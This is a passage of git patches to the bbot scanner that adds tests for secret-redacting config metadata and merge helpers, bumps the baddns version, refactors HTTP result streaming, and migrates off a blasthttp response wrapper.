"https://files.pythonhosted.org/packages/46/06/33f41fe94403e2b755481cdfb9b7ef3e4e0ed031c4581124658d935d52b4/ruff-0.15.12-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e852ba9fdc890655e1d78f2df1499efbe0e54126bd405362154a75e2bde159c5", size = 10719355, upload-time = "2026-04-24T18:17:27.648Z" }, + { url = "https://files.pythonhosted.org/packages/0d/59/18aa4e014debbf559670e4048e39260a85c7fcee84acfd761ac01e7b8d35/ruff-0.15.12-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:dd8aed930da53780d22fc70bdf84452c843cf64f8cb4eb38984319c24c5cd5fd", size = 10462758, upload-time = "2026-04-24T18:17:32.347Z" }, + { url = "https://files.pythonhosted.org/packages/25/e7/cc9f16fd0f3b5fddcbd7ec3d6ae30c8f3fde1047f32a4093a98d633c6570/ruff-0.15.12-py3-none-musllinux_1_2_i686.whl", hash = "sha256:01da3988d225628b709493d7dc67c3b9b12c0210016b08690ef9bd27970b262b", size = 10953498, upload-time = "2026-04-24T18:17:20.674Z" }, + { url = "https://files.pythonhosted.org/packages/72/7a/a9ba7f98c7a575978698f4230c5e8cc54bbc761af34f560818f933dafa0c/ruff-0.15.12-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:9cae0f92bd5700d1213188b31cd3bdd2b315361296d10b96b8e2337d3d11f53e", size = 11447765, upload-time = "2026-04-24T18:17:09.755Z" }, + { url = "https://files.pythonhosted.org/packages/ea/f9/0ae446942c846b8266059ad8a30702a35afae55f5cdc54c5adf8d7afdc27/ruff-0.15.12-py3-none-win32.whl", hash = "sha256:d0185894e038d7043ba8fd6aee7499ece6462dc0ea9f1e260c7451807c714c20", size = 10657277, upload-time = "2026-04-24T18:17:18.591Z" }, + { url = "https://files.pythonhosted.org/packages/33/f1/9614e03e1cdcbf9437570b5400ced8a720b5db22b28d8e0f1bda429f660d/ruff-0.15.12-py3-none-win_amd64.whl", hash = "sha256:c87a162d61ab3adca47c03f7f717c68672edec7d1b5499e652331780fe74950d", size = 11837758, upload-time = "2026-04-24T18:17:00.113Z" }, + { url = "https://files.pythonhosted.org/packages/c0/98/6beb4b351e472e5f4c4613f7c35a5290b8be2497e183825310c4c3a3984b/ruff-0.15.12-py3-none-win_arm64.whl", hash = "sha256:a538f7a82d061cee7be55542aca1d86d1393d55d81d4fcc314370f4340930d4f", size = 11120821, upload-time = "2026-04-24T18:16:57.979Z" }, ] [[package]] From 20cd441696a2ca27097f58a1ac667d465b4ed406 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 5 May 2026 15:19:16 -0400 Subject: [PATCH 606/912] add tests --- bbot/test/test_step_1/test_field_metadata.py | 145 ++++++++++++++++ bbot/test/test_step_1/test_merge.py | 164 +++++++++++++++++++ 2 files changed, 309 insertions(+) create mode 100644 bbot/test/test_step_1/test_field_metadata.py create mode 100644 bbot/test/test_step_1/test_merge.py diff --git a/bbot/test/test_step_1/test_field_metadata.py b/bbot/test/test_step_1/test_field_metadata.py new file mode 100644 index 0000000000..9999fda1ef --- /dev/null +++ b/bbot/test/test_step_1/test_field_metadata.py @@ -0,0 +1,145 @@ +""" +Tests for the unified `sensitive` / `mandatory` field-level metadata that +drives: + +- redaction (`BBOTCore.no_secrets_config` / `secrets_only_config`) +- the "Needs API Key" doc column (`MODULE_LOADER.modules_table`) +- the runtime `BaseModule.auth_required` property +""" + +from ..bbot_fixtures import * # noqa: F401, F403 + + +def test_field_records_sensitive_and_mandatory_in_json_schema_extra(): + from bbot.core.config.models import Field, is_mandatory, is_sensitive + + f_secret = Field("", description="x", sensitive=True) + f_required = Field("", description="x", mandatory=True) + f_both = Field("", description="x", sensitive=True, mandatory=True) + f_plain = Field("", description="x") + + assert is_sensitive(f_secret) is True + assert is_mandatory(f_secret) is False + assert is_sensitive(f_required) is False + assert is_mandatory(f_required) is True + assert is_sensitive(f_both) is True + assert is_mandatory(f_both) is True + assert is_sensitive(f_plain) is False + assert is_mandatory(f_plain) is False + + +def test_global_config_marks_known_secrets_sensitive(): + from bbot.core.config.models import BBOTConfig, WebConfig, is_sensitive + + assert is_sensitive(BBOTConfig.model_fields["interactsh_token"]) is True + assert is_sensitive(WebConfig.model_fields["http_cookies"]) is True + # nearby non-secret control + assert is_sensitive(WebConfig.model_fields["http_timeout"]) is False + + +def test_module_preload_extracts_sensitive_and_mandatory_sets(): + """`_extract_pydantic_config` should return the field-level flags via AST.""" + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + preloaded = MODULE_LOADER.preloaded() + + assert preloaded["shodan_dns"]["options_sensitive"] == ["api_key"] + assert preloaded["shodan_dns"]["options_mandatory"] == ["api_key"] + + # robots has a Config but no auth-related fields + assert preloaded["robots"]["options_sensitive"] == [] + assert preloaded["robots"]["options_mandatory"] == [] + + # credshed: 3 mandatory, 2 sensitive (url is mandatory but not sensitive) + assert sorted(preloaded["credshed"]["options_sensitive"]) == ["password", "username"] + assert sorted(preloaded["credshed"]["options_mandatory"]) == ["credshed_url", "password", "username"] + + +def test_modules_table_needs_api_key_derived_from_mandatory(): + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + out = MODULE_LOADER.modules_table(["shodan_dns", "robots"]) + # Row format: | Module | Type | Needs API Key | ... + rows = [line for line in out.splitlines() if "shodan_dns" in line or "robots" in line] + shodan_row = next(r for r in rows if "shodan_dns" in r) + robots_row = next(r for r in rows if "robots" in r) + assert "Yes" in shodan_row.split("|")[3] + assert "No" in robots_row.split("|")[3] + + +def test_no_secrets_config_redacts_module_and_global_secrets(): + from bbot.core import CORE + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + cfg = { + "home": "/tmp/bbot", + "interactsh_token": "leaky", + "web": {"http_cookies": {"session": "abc"}, "http_timeout": 30}, + "modules": { + "shodan_dns": {"api_key": "shodan-secret"}, + "credshed": {"username": "u", "password": "p", "credshed_url": "http://x"}, + "robots": {"include_sitemap": True}, + "unknown_mod": {"foo": "bar"}, # passes through + }, + } + redacted = CORE.no_secrets_config(cfg) + + # global non-secret kept + assert redacted["home"] == "/tmp/bbot" + assert redacted["web"]["http_timeout"] == 30 + # global secrets removed + assert "interactsh_token" not in redacted + assert "http_cookies" not in redacted["web"] + # module secrets removed, non-secret module fields kept (empty dicts kept + # so the module name still appears under `modules`, matching prior behavior) + assert redacted["modules"]["shodan_dns"] == {} + assert redacted["modules"]["credshed"] == {"credshed_url": "http://x"} + assert redacted["modules"]["robots"] == {"include_sitemap": True} + # unknown module passes through unchanged + assert redacted["modules"]["unknown_mod"] == {"foo": "bar"} + + +def test_secrets_only_config_extracts_sensitive_fields(): + from bbot.core import CORE + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + cfg = { + "home": "/tmp/bbot", + "interactsh_token": "leaky", + "web": {"http_cookies": {"session": "abc"}, "http_timeout": 30}, + "modules": { + "shodan_dns": {"api_key": "shodan-secret"}, + "credshed": {"username": "u", "password": "p", "credshed_url": "http://x"}, + }, + } + secrets = CORE.secrets_only_config(cfg) + + assert secrets == { + "interactsh_token": "leaky", + "web": {"http_cookies": {"session": "abc"}}, + "modules": { + "shodan_dns": {"api_key": "shodan-secret"}, + "credshed": {"username": "u", "password": "p"}, + }, + } + + +def test_auth_required_property_derives_from_config(): + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + shodan_dns = MODULE_LOADER.load_module("shodan_dns") + robots = MODULE_LOADER.load_module("robots") + + # `auth_required` is a property — the descriptor is on the class. + # We can resolve it without instantiating by walking model_fields ourselves. + from bbot.core.config.models import is_mandatory + + shodan_mandatories = [n for n, f in shodan_dns.Config.model_fields.items() if is_mandatory(f)] + robots_mandatories = [n for n, f in robots.Config.model_fields.items() if is_mandatory(f)] + assert shodan_mandatories == ["api_key"] + assert robots_mandatories == [] diff --git a/bbot/test/test_step_1/test_merge.py b/bbot/test/test_step_1/test_merge.py new file mode 100644 index 0000000000..edb5757476 --- /dev/null +++ b/bbot/test/test_step_1/test_merge.py @@ -0,0 +1,164 @@ +from bbot.core.config.merge import deep_merge, dotted_get, dotted_set, iter_dotted_paths + + +# ----- deep_merge ----- + + +def test_deep_merge_basic(): + assert deep_merge({"a": 1}, {"b": 2}) == {"a": 1, "b": 2} + + +def test_deep_merge_last_wins(): + assert deep_merge({"a": 1}, {"a": 2}, {"a": 3}) == {"a": 3} + + +def test_deep_merge_recurses_into_dicts(): + a = {"web": {"timeout": 5, "user_agent": "x"}} + b = {"web": {"timeout": 10}} + assert deep_merge(a, b) == {"web": {"timeout": 10, "user_agent": "x"}} + + +def test_deep_merge_lists_are_replaced_not_concatenated(): + # Matches OmegaConf's REPLACE list-merge mode (BBOT's previous default). + a = {"event_types": ["DNS_NAME", "URL"]} + b = {"event_types": ["EMAIL_ADDRESS"]} + assert deep_merge(a, b) == {"event_types": ["EMAIL_ADDRESS"]} + + +def test_deep_merge_dict_replaces_scalar(): + # Pydantic catches the resulting type mismatch downstream; merge itself + # does the structural replacement without complaint. + assert deep_merge({"a": 1}, {"a": {"b": 2}}) == {"a": {"b": 2}} + + +def test_deep_merge_scalar_replaces_dict(): + assert deep_merge({"a": {"b": 1}}, {"a": 5}) == {"a": 5} + + +def test_deep_merge_none_inputs(): + # All three forms used by callers in core.py / files.py + assert deep_merge(None, {"a": 1}) == {"a": 1} + assert deep_merge({"a": 1}, None) == {"a": 1} + assert deep_merge(None, None) == {} + + +def test_deep_merge_no_aliasing_with_base(): + """Mutating the result must not affect the base dict.""" + a = {"web": {"headers": {"X-Foo": "1"}}} + result = deep_merge(a, {}) + result["web"]["headers"]["X-Foo"] = "MUTATED" + result["web"]["new_key"] = "new" + assert a == {"web": {"headers": {"X-Foo": "1"}}} + + +def test_deep_merge_no_aliasing_with_update(): + """Mutating the result must not affect the update dict either.""" + b = {"web": {"headers": {"X-Foo": "1"}}} + result = deep_merge({}, b) + result["web"]["headers"]["X-Foo"] = "MUTATED" + assert b == {"web": {"headers": {"X-Foo": "1"}}} + + +def test_deep_merge_no_aliasing_for_lists(): + """Lists in update should be deep-copied, not aliased.""" + b = {"event_types": ["DNS_NAME"]} + result = deep_merge({}, b) + result["event_types"].append("URL") + assert b == {"event_types": ["DNS_NAME"]} + + +def test_deep_merge_empty_update_skipped(): + a = {"a": 1} + assert deep_merge(a, {}) == {"a": 1} + assert deep_merge(a, {}, {}, {"b": 2}) == {"a": 1, "b": 2} + + +# ----- dotted_get ----- + + +def test_dotted_get_hit(): + assert dotted_get({"a": {"b": {"c": 1}}}, "a.b.c") == 1 + + +def test_dotted_get_default_when_missing(): + assert dotted_get({"a": 1}, "a.b.c", default="x") == "x" + + +def test_dotted_get_default_when_blocked_by_scalar(): + # `a` exists but is a scalar, so `a.b` can't be resolved. + assert dotted_get({"a": 1}, "a.b") is None + assert dotted_get({"a": 1}, "a.b", default="fallback") == "fallback" + + +def test_dotted_get_top_level(): + assert dotted_get({"a": 1}, "a") == 1 + + +# ----- dotted_set ----- + + +def test_dotted_set_creates_intermediates(): + d = {} + dotted_set(d, "a.b.c", 1) + assert d == {"a": {"b": {"c": 1}}} + + +def test_dotted_set_preserves_siblings(): + d = {"a": {"b": 1}} + dotted_set(d, "a.c", 2) + assert d == {"a": {"b": 1, "c": 2}} + + +def test_dotted_set_overwrites_existing_leaf(): + d = {"a": {"b": 1}} + dotted_set(d, "a.b", 99) + assert d == {"a": {"b": 99}} + + +def test_dotted_set_silently_replaces_non_dict_intermediate(): + """ + Documented behavior: a scalar in the path is silently replaced by a dict. + Pydantic validation downstream surfaces the resulting type mismatch. + """ + d = {"a": 1} + dotted_set(d, "a.b", 2) + assert d == {"a": {"b": 2}} + + +def test_dotted_set_top_level(): + d = {} + dotted_set(d, "a", 1) + assert d == {"a": 1} + + +# ----- iter_dotted_paths ----- + + +def test_iter_dotted_paths_basic(): + assert iter_dotted_paths({"a": 1, "b": {"c": 2}}) == ["a", "b.c"] + + +def test_iter_dotted_paths_deep(): + paths = iter_dotted_paths({"a": {"b": {"c": 1, "d": 2}}, "e": 3}) + assert sorted(paths) == ["a.b.c", "a.b.d", "e"] + + +def test_iter_dotted_paths_empty_dict_treated_as_leaf(): + # An empty dict is a leaf path so dotted_get/dotted_set round-trip through it. + assert iter_dotted_paths({"a": {}, "b": 1}) == ["a", "b"] + + +def test_iter_dotted_paths_empty_input(): + assert iter_dotted_paths({}) == [] + + +# ----- round-trip ----- + + +def test_dotted_set_get_roundtrip(): + d = {} + dotted_set(d, "modules.shodan.api_key", "abc123") + dotted_set(d, "web.spider_distance", 2) + assert dotted_get(d, "modules.shodan.api_key") == "abc123" + assert dotted_get(d, "web.spider_distance") == 2 + assert sorted(iter_dotted_paths(d)) == ["modules.shodan.api_key", "web.spider_distance"] From 61b7a2930a5d7c59993e02c509fd92fdc41fd0f6 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 5 May 2026 15:44:38 -0400 Subject: [PATCH 607/912] update baddns version in modules --- bbot/modules/baddns.py | 2 +- bbot/modules/baddns_direct.py | 2 +- bbot/modules/baddns_zone.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index 515b54b221..81c748bdc9 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -53,7 +53,7 @@ class baddns(BaseModule): "enabled_submodules": "A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", } module_threads = 8 - deps_pip = ["baddns~=2.1.0"] + deps_pip = ["baddns~=2.3.0"] def select_modules(self): selected_submodules = [] diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 243f224a11..bb850580e5 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -17,7 +17,7 @@ class baddns_direct(baddns_module): "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)", } module_threads = 8 - deps_pip = ["baddns~=2.1.0"] + deps_pip = ["baddns~=2.3.0"] scope_distance_modifier = 1 diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index e13140c70a..f9e46cf85e 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -17,7 +17,7 @@ class baddns_zone(baddns_module): "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)", } module_threads = 8 - deps_pip = ["baddns~=2.1.0"] + deps_pip = ["baddns~=2.3.0"] def set_modules(self): self.enabled_submodules = ["NSEC", "zonetransfer"] From 539614750e418d40fc6ccaeaba76aeee55834833 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 5 May 2026 15:52:25 -0400 Subject: [PATCH 608/912] http.py proper streaming --- bbot/modules/http.py | 226 ++++++++++++++++++++------------------ bbot/modules/web_brute.py | 18 ++- 2 files changed, 124 insertions(+), 120 deletions(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 264796b312..f251aac8a9 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -175,10 +175,75 @@ def _response_to_json(self, url_input, response): return j + async def _process_result(self, result, parent_event): + """Emit URL + HTTP_RESPONSE events for one batch result. Returns True if status was usable.""" + if not result.success: + self.debug(f"blasthttp error for {result.url}: {result.error}") + return False + + response = result.response + status_code = response.status + if status_code == 0: + self.debug(f'No HTTP status code for "{result.url}"') + return False + + url = response.url + + # The "input" field represents the original scan target (host:port), + # not the full URL. Other modules and output consumers use this to + # correlate responses back to the target that produced them. + input_parsed = urlparse(result.url) + url_input = input_parsed.netloc or result.url + j = self._response_to_json(url_input, response) + + # discard 404s from unverified URLs + path = j.get("path", "/") + if parent_event.type == "URL_UNVERIFIED" and status_code in (404,) and path != "/": + self.debug(f'Discarding 404 from "{url}"') + return True + + tags = [f"status-{status_code}"] + url_context = "{module} visited {event.parent.data} and got status code {event.http_status}" + if parent_event.type == "OPEN_TCP_PORT": + url_context += " at {event.data}" + + url_event = self.make_event(url, "URL", parent_event, tags=tags, context=url_context) + if url_event: + response_ip = j.get("host", "") + if response_ip: + url_event._resolved_hosts.add(response_ip) + title = j.get("title", "") + if title: + url_event.http_title = title + location = j.get("location", "") + if location: + url_event.redirect_location = location + if url_event != parent_event: + await self.emit_event(url_event) + content_type = j.get("header", {}).get("content_type", "unspecified").split(";")[0] + content_length = self.helpers.bytes_to_human(j.get("content_length", 0)) + await self.emit_event( + j, + "HTTP_RESPONSE", + url_event, + tags=url_event.tags, + context=f"HTTP_RESPONSE was {content_length} with {content_type} content type", + ) + + if self.store_responses: + response_dir = self.scan.home / "http_responses" + self.helpers.mkdir(response_dir) + filename = f"{j['host']}.{urlparse(url).port or 443}{path.replace('/', '[slash]')}.txt" + response_file = response_dir / filename + response_file.write_text(j.get("raw_header", "") + j.get("body", "")) + return True + async def handle_batch(self, *events): stdin = {} # Track dual-scheme probes from OPEN_TCP_PORT: {(host, port): {"http": url, "https": url}} port_probes = {} + # Reverse index: each paired probe URL → its (host, port) key + paired_probe_urls = {} for event in events: urls, url_hash = self.make_url_metadata(event) @@ -191,6 +256,13 @@ async def handle_batch(self, *events): scheme = "https" if url.startswith("https://") else "http" port_probes[key][scheme] = url + # Only ports with BOTH schemes are subject to suppression — single-scheme + # OPEN_TCP_PORT probes (rare, but possible) stream through normally. + for key, schemes in port_probes.items(): + if "http" in schemes and "https" in schemes: + paired_probe_urls[schemes["http"]] = key + paired_probe_urls[schemes["https"]] = key + if not stdin: return @@ -199,7 +271,6 @@ async def handle_batch(self, *events): timeout = self.scan.blasthttp_timeout retries = self.scan.blasthttp_retries - # Build batch configs configs = [] for url in stdin: config = blasthttp.BatchConfig( @@ -213,114 +284,51 @@ async def handle_batch(self, *events): ) configs.append(config) - # Drain the streaming batch into a list — we need every result in hand - # before we can decide http/https suppression for paired OPEN_TCP_PORT probes. - # Python conversion still overlaps with in-flight HTTP I/O via the stream. - results = [] - async for r in iter_batch_results(self.client.request_batch_stream(configs, concurrency=self.threads)): - results.append(r) - - # For OPEN_TCP_PORT probes, suppress redundant https when http already succeeded. - # When probing an unknown port, we try both http:// and https://. If http works, - # the port definitely speaks HTTP — the https result may be a proxy artifact - # (intercepting proxies like Burp terminate TLS themselves, making any https:// - # URL "succeed" regardless of whether the target actually speaks TLS). - # If http fails but https succeeds, the port genuinely speaks TLS. - # Explicit URLs (URL_UNVERIFIED/URL) are never suppressed — this only applies - # to speculative OPEN_TCP_PORT probes. - suppressed_urls = set() - if port_probes: - successful_urls = {r.url for r in results if r.success and r.response.status != 0} - for key, schemes in port_probes.items(): - http_url = schemes.get("http") - https_url = schemes.get("https") - if not (http_url and https_url): + # Suppress redundant https probes when http already succeeded for the same + # (host, port). When probing an unknown port, we try both schemes; if http + # works, the port definitely speaks HTTP, and the https result is likely a + # proxy artifact (intercepting proxies like Burp terminate TLS themselves, + # making any https:// URL "succeed" regardless of whether the target really + # speaks TLS). Explicit URL/URL_UNVERIFIED events are never suppressed — + # only speculative OPEN_TCP_PORT probes. + # + # Streaming requires per-pair coordination: emit http immediately, defer + # https until http's outcome is known (or the stream ends). + http_succeeded = {} # key -> bool, set when http result arrives + deferred_https = {} # key -> result, awaiting http verdict + + async def resolve_https(key, result): + if http_succeeded.get(key) and result.success and result.response.status != 0: + self.debug(f"Suppressing https probe {result.url} (http already succeeded for {key})") + return + await self._process_result(result, stdin[result.url]) + + async for result in iter_batch_results(self.client.request_batch_stream(configs, concurrency=self.threads)): + key = paired_probe_urls.get(result.url) + if key is None: + # Non-paired URL — emit immediately + parent_event = stdin.get(result.url) + if parent_event is None: + self.warning(f"Unable to correlate parent event for: {result.url}") continue - if http_url in successful_urls and https_url in successful_urls: - self.debug(f"Suppressing https probe {https_url} (http already succeeded: {http_url})") - suppressed_urls.add(https_url) - - for i in range(len(results)): - result = results[i] - results[i] = None # free response body memory as we go - if not result.success: - self.debug(f"blasthttp error for {result.url}: {result.error}") - continue - - response = result.response - status_code = response.status - if status_code == 0: - self.debug(f'No HTTP status code for "{result.url}"') - continue - - if result.url in suppressed_urls: + await self._process_result(result, parent_event) continue - # Map back to parent event using the input URL - parent_event = stdin.get(result.url, None) - - if parent_event is None: - self.warning(f"Unable to correlate parent event for: {result.url}") - continue - - url = response.url - - # Build JSON dict for HTTP_RESPONSE event - # The "input" field represents the original scan target (host:port), - # not the full URL. Other modules and output consumers use this to - # correlate responses back to the target that produced them. - input_parsed = urlparse(result.url) - url_input = input_parsed.netloc or result.url - j = self._response_to_json(url_input, response) - - # discard 404s from unverified URLs - path = j.get("path", "/") - if parent_event.type == "URL_UNVERIFIED" and status_code in (404,) and path != "/": - self.debug(f'Discarding 404 from "{url}"') - continue - - # main URL - tags = [f"status-{status_code}"] - - url_context = "{module} visited {event.parent.data} and got status code {event.http_status}" - if parent_event.type == "OPEN_TCP_PORT": - url_context += " at {event.data}" - - url_event = self.make_event( - url, - "URL", - parent_event, - tags=tags, - context=url_context, - ) - if url_event: - response_ip = j.get("host", "") - if response_ip: - url_event._resolved_hosts.add(response_ip) - title = j.get("title", "") - if title: - url_event.http_title = title - location = j.get("location", "") - if location: - url_event.redirect_location = location - if url_event != parent_event: - await self.emit_event(url_event) - # HTTP response - content_type = j.get("header", {}).get("content_type", "unspecified").split(";")[0] - content_length = j.get("content_length", 0) - content_length = self.helpers.bytes_to_human(content_length) - await self.emit_event( - j, - "HTTP_RESPONSE", - url_event, - tags=url_event.tags, - context=f"HTTP_RESPONSE was {content_length} with {content_type} content type", - ) - - # Store responses if configured - if self.store_responses: - response_dir = self.scan.home / "http_responses" - self.helpers.mkdir(response_dir) - filename = f"{j['host']}.{urlparse(url).port or 443}{path.replace('/', '[slash]')}.txt" - response_file = response_dir / filename - response_file.write_text(j.get("raw_header", "") + j.get("body", "")) + # Paired OPEN_TCP_PORT probe + is_http = result.url == port_probes[key]["http"] + if is_http: + http_succeeded[key] = result.success and result.response is not None and result.response.status != 0 + await self._process_result(result, stdin[result.url]) + # If https for this key arrived first and was buffered, resolve it now + pending = deferred_https.pop(key, None) + if pending is not None: + await resolve_https(key, pending) + else: # is https + if key in http_succeeded: + await resolve_https(key, result) + else: + deferred_https[key] = result + + # Stream ended — any leftover https had no http result, so emit unconditionally + for key, result in deferred_https.items(): + await self._process_result(result, stdin[result.url]) diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index a4e5f052a6..6c772582a7 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -316,22 +316,18 @@ async def execute_fuzz( self.debug(f"Fuzzing {len(configs)} URLs for ext [{ext}]") # Fire all requests via native blasthttp batch (Rust concurrency). - # Stream results into a URL-keyed dict so we can re-process them in - # wordlist order (canary appended last) below. - results_by_url = {} + # Stream results in completion order — canary detection and hit + # collection are order-independent (we only check `canary_found and + # hits` after the stream completes), so per-result work overlaps with + # in-flight HTTP I/O. + canary_found = False + hits = [] async for result in iter_batch_results( self.blast_client.request_batch_stream(configs, self.concurrency, rate_limit=self.rate) ): - results_by_url[result.url] = result - - # Process in wordlist order so canary (appended last) is checked last - canary_found = False - hits = [] - for config in configs: if self.scan.stopping: return - result = results_by_url.get(config.url) - if result is None or not result.success: + if not result.success: continue response = result.response From 0ddf8f6cc70574d818af55bc0682266ccc614af6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 5 May 2026 23:49:49 -0400 Subject: [PATCH 609/912] migrate to blasthttp 0.5.0: drop BlasthttpResponse wrapper, use blasthttp.mock MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Rides on blasthttp 0.5.0's new httpx-style Response API (status_code, text, content, headers as case-insensitive Headers, cookies, raw_headers, hash, peer_ip, request, json(), raise_for_status() raising HTTPStatusError) and the new blasthttp.mock submodule. Wrapper removal --------------- Delete bbot/core/helpers/web/blast_response.py — its job (presenting blasthttp's PyO3 Response with an httpx-shaped surface) is now done natively by blasthttp.Response. - WebHelper.request: returns the native blasthttp.Response instead of wrapping. Same downstream surface. - WebHelper.request_batch_stream: same — yields the native blasthttp.Response. - download() / raise_for_status: BlasthttpHTTPError → blasthttp.HTTPStatusError. Mock migration -------------- bbot/test/mock_blasthttp.py is now a thin wrapper over blasthttp.mock.BlasthttpMock. The generic mock infrastructure (handler queue with FIFO + recycle, URL/method/header/json predicates, sync + async callbacks, batch streaming) lives upstream. This module keeps the bbot-specific surface: - handle_engine_request: WebHelper kwarg translation (auth tuple → Authorization header, cookies dict → Cookie header, json/data body assembly, raise_error → engine-style error dict, allow_redirects → follow_redirects). - handle_batch_stream(real_client, ...): per-call real_client splitting, since the WebHelper's blasthttp client isn't available at fixture construction time. `MockRequest`, `MockResponse`, `TimeoutException`, and the `add_response` / `add_callback` / `should_intercept` API are all re-exported / forwarded so the 68 module tests using them keep working unchanged. Module-level fixes for the new Headers API ------------------------------------------ The blasthttp.Headers class iterates as Python-dict-style keys (httpx convention), not list-of-tuples. Three places in bbot were unpacking headers as tuples: - http.py: replaced manual raw_header build with response.raw_headers (also lazy on the blasthttp side). header_dict loop now uses .items(). - web_brute.py: location lookup uses .items(). - url_manipulation.py: subject_content now uses raw_headers instead of stringifying the list of tuples. diff.py compare_headers needed no special handling — blasthttp 0.5.0 registers Headers with collections.abc.MutableMapping so DeepDiff recognizes it natively. Pin --- pyproject.toml: blasthttp dep bumped >=0.3.2 → >=0.5.0. --- bbot/core/helpers/web/blast_response.py | 170 --------- bbot/core/helpers/web/web.py | 16 +- bbot/modules/http.py | 9 +- bbot/modules/url_manipulation.py | 2 +- bbot/modules/web_brute.py | 2 +- bbot/test/conftest.py | 7 +- bbot/test/mock_blasthttp.py | 435 ++++++------------------ bbot/test/test_step_1/test_web.py | 6 +- pyproject.toml | 2 +- 9 files changed, 121 insertions(+), 528 deletions(-) delete mode 100644 bbot/core/helpers/web/blast_response.py diff --git a/bbot/core/helpers/web/blast_response.py b/bbot/core/helpers/web/blast_response.py deleted file mode 100644 index e6a548ae73..0000000000 --- a/bbot/core/helpers/web/blast_response.py +++ /dev/null @@ -1,170 +0,0 @@ -""" -Response wrapper that gives blasthttp responses a standard Python interface. - -BBOT modules see .status_code, .text, .content, .headers, .json(), -.raise_for_status() — the same interface they've always used. The wrapper -copies data out of the blasthttp PyO3 object into plain Python types so -nothing holds a reference to the Rust-side response after construction. -""" - -import json as _json -from collections.abc import MutableMapping as _MutableMapping -from datetime import timedelta as _timedelta - - -class CaseInsensitiveHeaders(_MutableMapping): - """ - Case-insensitive dict-like object for HTTP headers. - - Modules access headers case-insensitively, they do things like - response.headers.get("Content-Type") or response.headers["content-type"]. - This replicates that behavior using a simple list of (name, value) tuples - as the backing store (preserving duplicates like Set-Cookie). - - Supports mutation (del, __setitem__) for compatibility with HttpCompare. - """ - - __slots__ = ("_list", "_lower_dict") - - def __init__(self, header_tuples): - self._list = list(header_tuples) - self._rebuild_dict() - - def _rebuild_dict(self): - # Last value wins for dict-style access - self._lower_dict = {} - for k, v in self._list: - self._lower_dict[k.lower()] = v - - def get(self, key, default=None): - return self._lower_dict.get(key.lower(), default) - - def items(self): - return iter(self._list) - - def keys(self): - return self._lower_dict.keys() - - def values(self): - return self._lower_dict.values() - - def __getitem__(self, key): - try: - return self._lower_dict[key.lower()] - except KeyError: - raise KeyError(key) - - def __setitem__(self, key, value): - # Remove any existing entries with this key (case-insensitive) - lower_key = key.lower() - self._list = [(k, v) for k, v in self._list if k.lower() != lower_key] - self._list.append((key, value)) - self._lower_dict[lower_key] = value - - def __delitem__(self, key): - lower_key = key.lower() - if lower_key not in self._lower_dict: - raise KeyError(key) - self._list = [(k, v) for k, v in self._list if k.lower() != lower_key] - del self._lower_dict[lower_key] - - def __contains__(self, key): - return key.lower() in self._lower_dict - - def __iter__(self): - return iter(self._lower_dict) - - def __len__(self): - return len(self._lower_dict) - - def __eq__(self, other): - if isinstance(other, CaseInsensitiveHeaders): - return self._lower_dict == other._lower_dict - if isinstance(other, dict): - return self._lower_dict == {k.lower(): v for k, v in other.items()} - return NotImplemented - - def __repr__(self): - return f"CaseInsensitiveHeaders({self._list})" - - -class _RequestInfo: - """Minimal stand-in for a response.request object.""" - - __slots__ = ("url", "method") - - def __init__(self, url, method): - self.url = url - self.method = method - - -class BlasthttpResponse: - """ - Wraps data extracted from a blasthttp Response into a standard - interface so BBOT modules work without changes. - - All fields are plain Python types (str, bytes, int, dict) — no references - to blasthttp PyO3 objects are retained after construction. - """ - - __slots__ = ( - "status_code", - "url", - "text", - "content", - "headers", - "request", - "is_success", - "elapsed_ms", - "cookies", - ) - - def __init__(self, blast_resp, request_url, method="GET"): - self.status_code = blast_resp.status - self.url = str(blast_resp.url) - self.text = blast_resp.body - self.content = bytes(blast_resp.body_bytes) - self.headers = CaseInsensitiveHeaders(blast_resp.headers) - self.request = _RequestInfo(request_url, method) - self.is_success = 200 <= blast_resp.status < 400 - self.elapsed_ms = blast_resp.elapsed_ms - # Parse Set-Cookie headers into a simple dict (for r.cookies access) - self.cookies = {} - for k, v in blast_resp.headers: - if k.lower() == "set-cookie": - # Extract just the cookie name=value (before any ;) - parts = v.split(";", 1) - if "=" in parts[0]: - cname, cval = parts[0].split("=", 1) - self.cookies[cname.strip()] = cval.strip() - - @property - def elapsed(self): - """Return elapsed time as a timedelta ..""" - return _timedelta(milliseconds=self.elapsed_ms) - - def __bool__(self): - return True - - def json(self, **kwargs): - return _json.loads(self.text, **kwargs) - - def raise_for_status(self): - if self.status_code >= 400: - raise BlasthttpHTTPError( - f"HTTP {self.status_code} for url {self.url}", - response=self, - ) - - def __str__(self): - return f"BlasthttpResponse(status={self.status_code}, url='{self.url}')" - - __repr__ = __str__ - - -class 